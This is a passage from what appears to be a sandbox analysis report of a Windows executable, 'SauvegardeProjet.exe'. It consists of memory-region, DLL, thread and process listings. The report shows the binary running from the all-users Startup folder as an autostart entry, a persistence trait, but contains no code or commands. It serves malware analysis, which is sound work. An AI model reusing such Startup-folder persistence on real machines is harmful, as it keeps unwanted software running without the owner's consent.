0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1482 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1483 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1484 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1485 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1486 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1487 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1488 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1489 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1490 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1491 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1492 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1493 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1494 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Thread: id = 44 os_tid = 0x1c8 Thread: id = 45 os_tid = 0xbf4 Thread: id = 46 os_tid = 0xbc0 Thread: id = 47 os_tid = 0xbb0 Thread: id = 48 os_tid = 0xbc8 Thread: id = 49 os_tid = 0xbe0 Thread: id = 52 os_tid = 0x990 Process: id = "8" image_name = "sauvegardeprojet.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe" page_root = "0x9d8c000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e834" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2241 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2242 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2243 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2244 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2245 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2246 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2247 start_va = 0xfe0000 end_va = 0x107bfff entry_point = 0xfe0000 region_type = mapped_file name = "sauvegardeprojet.exe" filename = "\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe") Region: id = 2248 start_va = 0x77930000 end_va = 0x77ad8fff entry_point = 0x77930000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2249 start_va = 0x77b10000 end_va = 0x77c8ffff entry_point = 0x77b10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2250 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2251 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2252 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2253 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2254 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2255 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2256 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2394 start_va = 0x3a0000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2395 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x74080000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2396 start_va = 0x74090000 end_va = 0x740ebfff entry_point = 0x74090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2397 start_va = 0x740f0000 end_va = 0x7412efff entry_point = 0x740f0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2398 start_va = 0x500000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2399 start_va = 0x736a0000 end_va = 0x736e9fff entry_point = 0x736a0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 2400 start_va = 0x75990000 end_va = 0x759d5fff entry_point = 0x75990000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2401 start_va = 0x77540000 end_va = 0x7764ffff entry_point = 0x77540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2402 start_va = 0x77710000 end_va = 0x7782efff entry_point = 0x0 region_type = private name = "private_0x0000000077710000" filename = "" Region: id = 2403 start_va = 0x77830000 end_va = 0x77929fff entry_point = 0x0 region_type = private name = "private_0x0000000077830000" filename = "" Region: id = 2418 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2419 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2420 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2421 start_va = 0x750000 end_va = 0x78ffff entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 2422 start_va = 0x75660000 end_va = 0x7566bfff entry_point = 0x75660000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2423 start_va = 0x75670000 end_va = 0x756cffff entry_point = 0x75670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2424 start_va = 0x758a0000 end_va = 0x7598ffff entry_point = 0x758a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2425 start_va = 0x75f70000 end_va = 0x75f88fff entry_point = 0x75f70000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2426 start_va = 0x773f0000 end_va = 0x7748ffff entry_point = 0x773f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2427 start_va = 0x77490000 end_va = 0x7753bfff entry_point = 0x77490000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2428 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2429 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2439 start_va = 0x900000 end_va = 0x90ffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2440 start_va = 0x73620000 end_va = 0x73697fff entry_point = 0x73620000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 2442 start_va = 0x75810000 end_va = 0x7589ffff entry_point = 0x75810000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2443 start_va = 0x75a30000 end_va = 0x75accfff entry_point = 0x75a30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2444 start_va = 0x75db0000 end_va = 0x75e06fff entry_point = 0x75db0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2445 start_va = 0x75e10000 end_va = 0x75f0ffff entry_point = 0x75e10000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2446 start_va = 0x772c0000 end_va = 0x772c9fff entry_point = 0x772c0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2447 start_va = 0x910000 end_va = 0xa97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2448 start_va = 0x75ae0000 end_va = 0x75b3ffff entry_point = 0x75ae0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2449 start_va = 0x75be0000 end_va = 0x75cabfff entry_point = 0x75be0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2458 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2459 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2460 start_va = 0xaa0000 end_va = 0xc20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 2461 start_va = 0x1080000 end_va = 0x247ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 2462 start_va = 0x73610000 end_va = 0x73618fff entry_point = 0x73610000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2468 start_va = 0x72f40000 end_va = 0x735e7fff entry_point = 0x72f40000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2469 start_va = 0x75540000 end_va = 0x75634fff entry_point = 0x75540000 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 2477 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2478 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2479 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2480 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2481 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2482 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2483 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2484 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2485 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2486 start_va = 0x2c0000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2487 start_va = 0x4c0000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2488 start_va = 0x690000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 2489 start_va = 0x6d0000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 2490 start_va = 0x810000 end_va = 0x84ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 2491 start_va = 0x8c0000 end_va = 0x8fffff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 2492 start_va = 0xcf0000 end_va = 0xdeffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 2493 start_va = 0xe30000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 2494 start_va = 0x2480000 end_va = 0x447ffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2495 start_va = 0x44e0000 end_va = 0x45dffff entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 2496 start_va = 0x45e0000 end_va = 0x48aefff entry_point = 0x45e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2497 start_va = 0x74310000 end_va = 0x7553afff entry_point = 0x74310000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll") Region: id = 2498 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2499 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2500 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2525 start_va = 0x77060000 end_va = 0x771bbfff entry_point = 0x77060000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2526 start_va = 0x73e60000 end_va = 0x73edffff entry_point = 0x73e60000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2527 start_va = 0x420000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2531 start_va = 0x48b0000 end_va = 0x498efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048b0000" filename = "" Region: id = 2533 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2534 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2535 start_va = 0x71e70000 end_va = 0x72585fff entry_point = 0x71e70000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll") Region: id = 2536 start_va = 0x72590000 end_va = 0x72f3cfff entry_point = 0x72590000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll") Region: id = 2537 start_va = 0x73c90000 end_va = 0x73e5afff entry_point = 0x73c90000 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll") Region: id = 2545 start_va = 0x73f00000 end_va = 0x73f7cfff entry_point = 0x73f00000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 2546 start_va = 0x76e30000 end_va = 0x76ebefff entry_point = 0x76e30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2550 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2551 start_va = 0x71210000 end_va = 0x71e67fff entry_point = 0x71210000 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll") Region: id = 2552 start_va = 0x73b00000 end_va = 0x73c8cfff entry_point = 0x73b00000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll") Region: id = 2553 start_va = 0x4a30000 end_va = 0x4a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 2555 start_va = 0x73ee0000 end_va = 0x73ef5fff entry_point = 0x73ee0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2558 start_va = 0x73ac0000 end_va = 0x73afafff entry_point = 0x73ac0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2560 start_va = 0x600000 end_va = 0x681fff entry_point = 0x600000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2561 start_va = 0x600000 end_va = 0x681fff entry_point = 0x600000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2562 start_va = 0x73a30000 end_va = 0x73ab3fff entry_point = 0x73a30000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2563 start_va = 0x4a70000 end_va = 0x4c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 2567 start_va = 0x73a10000 end_va = 0x73a22fff entry_point = 0x73a10000 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 2568 start_va = 0x4c40000 end_va = 0x4f11fff entry_point = 0x4c40000 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 2574 start_va = 0x70d70000 end_va = 0x71207fff entry_point = 0x70d70000 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 2575 start_va = 0x73940000 end_va = 0x73a04fff entry_point = 0x73940000 region_type = mapped_file name = "system.runtime.remoting.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll") Region: id = 2576 start_va = 0x380000 end_va = 0x381fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 2579 start_va = 0x7ef40000 end_va = 0x7ef4ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef40000" filename = "" Region: id = 2580 start_va = 0x7ef50000 end_va = 0x7ef9ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef50000" filename = "" Region: id = 2581 start_va = 0x71080000 end_va = 0x7120ffff entry_point = 0x71080000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 2594 start_va = 0x4a70000 end_va = 0x4bfffff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 2595 start_va = 0x4c30000 end_va = 0x4c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 2596 start_va = 0x420000 end_va = 0x43afff entry_point = 0x420000 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat") Region: id = 2597 start_va = 0x480000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2598 start_va = 0xca0000 end_va = 0xcdffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 2599 start_va = 0x4fd0000 end_va = 0x50cffff entry_point = 0x0 region_type = private name = "private_0x0000000004fd0000" filename = "" Region: id = 2600 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2601 start_va = 0x4a70000 end_va = 0x4b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 2602 start_va = 0x4bf0000 end_va = 0x4bfffff entry_point = 0x0 region_type = private name = "private_0x0000000004bf0000" filename = "" Region: id = 2603 start_va = 0xf30000 end_va = 0xfcffff entry_point = 0xf30000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 2604 start_va = 0xf30000 end_va = 0xfcffff entry_point = 0xf30000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 2605 start_va = 0xf30000 end_va = 0xfdafff entry_point = 0xf30000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 2610 start_va = 0xf30000 end_va = 0xfdafff entry_point = 0xf30000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 2611 start_va = 0x50d0000 end_va = 0x6578fff entry_point = 0x50d0000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 2612 start_va = 0x50d0000 end_va = 0x6578fff entry_point = 0x50d0000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 2613 start_va = 0x50d0000 end_va = 0x6592fff entry_point = 0x50d0000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 2614 start_va = 0x50d0000 end_va = 0x6592fff entry_point = 0x50d0000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 2622 start_va = 0x50d0000 end_va = 0x54f2fff entry_point = 0x50d0000 region_type = 